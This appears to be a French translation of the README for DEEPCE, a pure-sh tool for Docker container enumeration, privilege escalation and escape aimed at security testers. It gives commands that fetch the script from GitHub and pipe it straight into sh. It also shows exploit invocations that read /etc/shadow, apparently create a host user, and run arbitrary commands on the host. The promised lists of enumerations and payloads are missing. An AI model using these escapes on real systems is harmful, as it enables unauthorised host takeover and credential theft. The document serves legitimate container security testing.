
Docker Enumeration, Escalation of Privileges and Container Escapes (DEEPCE)
## .
## ## ## ==
## ## ## ## ===
/"""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ / ===- ~~~
\______ X __/
\ \ __/
\____\_______/
__
____/ /__ ___ ____ ________
/ __ / _ \/ _ \/ __ \/ ___/ _ \ ENUMERATE
/ /_/ / __/ __/ /_/ / (__/ __/ ESCALATE
\__,_/\___/\___/ .___/\___/\___/ ESCAPE
/_/
Énumération Docker, Élévation de privilèges et Évasions de conteneurs (DEEPCE)
Afin d'être compatible avec le nombre maximal de conteneurs, DEEPCE est écrit en sh pur sans dépendances. Il utilisera des outils supplémentaires tels que curl, nmap, nslookup et dig s'ils sont disponibles, mais il ne dépend pas d'eux pour l'énumération dans la plupart des cas.
Aucune des énumérations ne devrait toucher le disque, cependant la plupart des exploits créent de nouveaux conteneurs, ce qui entraîne des écritures sur le disque, et certains exploits écrasent runC, ce qui peut être destructeur, alors soyez prudent !
Veuillez trouver ci-dessous la liste des énumérations, exploits et payloads que DEEPCE peut utiliser. Si vous avez des idées pour d'autres, veuillez soumettre une issue sur github !
DEEPCE peut être téléchargé sur un hôte ou un conteneur à l'aide de l'une des commandes suivantes. Astuce : téléchargez-le dans /dev/shm pour éviter de toucher le disque.
wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh
Si vous aimez ce que je fais avec Deepce et mes autres projets, vous pouvez maintenant soutenir mon travail directement ! En m'offrant un café ☕, vous ne faites pas que répondre à mes besoins en caféine – vous m'aidez à consacrer plus de temps au développement et à l'amélioration de ces projets open source. Chaque café compte et apporte plus d'innovation au monde de la cybersécurité. Merci pour votre soutien – il signifie tout pour moi et pour la communauté open source !
Pour plus d'informations, veuillez consulter le dossier docs

Voici la liste des énumérations effectuées par DEEPCE.
Pour chacun des exploits ci-dessus, des payloads peuvent être définis afin d'exploiter le système hôte. Ils comprennent :
# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh
Les exemples suivants montrent les différents types d'exploits qui peuvent être effectués et les payloads disponibles.
./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce
/etc/shadow./deepce.sh --no-enumeration --exploit SOCK --shadow
./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"
Il est possible de télécharger et d'exécuter deepce sans toucher au disque, mais vous ne pourrez pas facilement définir des arguments (une manipulation directe des variables est possible avec export).
wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
Il existe d'excellents scripts d'énumération/évasion de conteneurs et des outils d'énumération dont je me suis inspiré lors de l'écriture de celui-ci. Cependant, j'ai ressenti le besoin d'en écrire un purement en sh afin d'éviter d'avoir à installer des dépendances go / ruby ou de dépendre d'un binaire statique. Je voulais aussi pouvoir effectuer plus d'énumérations pour essayer de découvrir ce qu'est le conteneur Docker, car lors d'un test, nous pouvons nous retrouver dans un conteneur inconnu. Le nombre de choses que ce script peut énumérer m'a échappé : chaque fois que j'ajoutais quelque chose de nouveau, je pensais à d'autres choses supplémentaires que je pourrais ajouter.
Développeurs à la recherche de conseils de sécurité Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md
Je suis ouvert aux pull requests, aux issues et aux retours.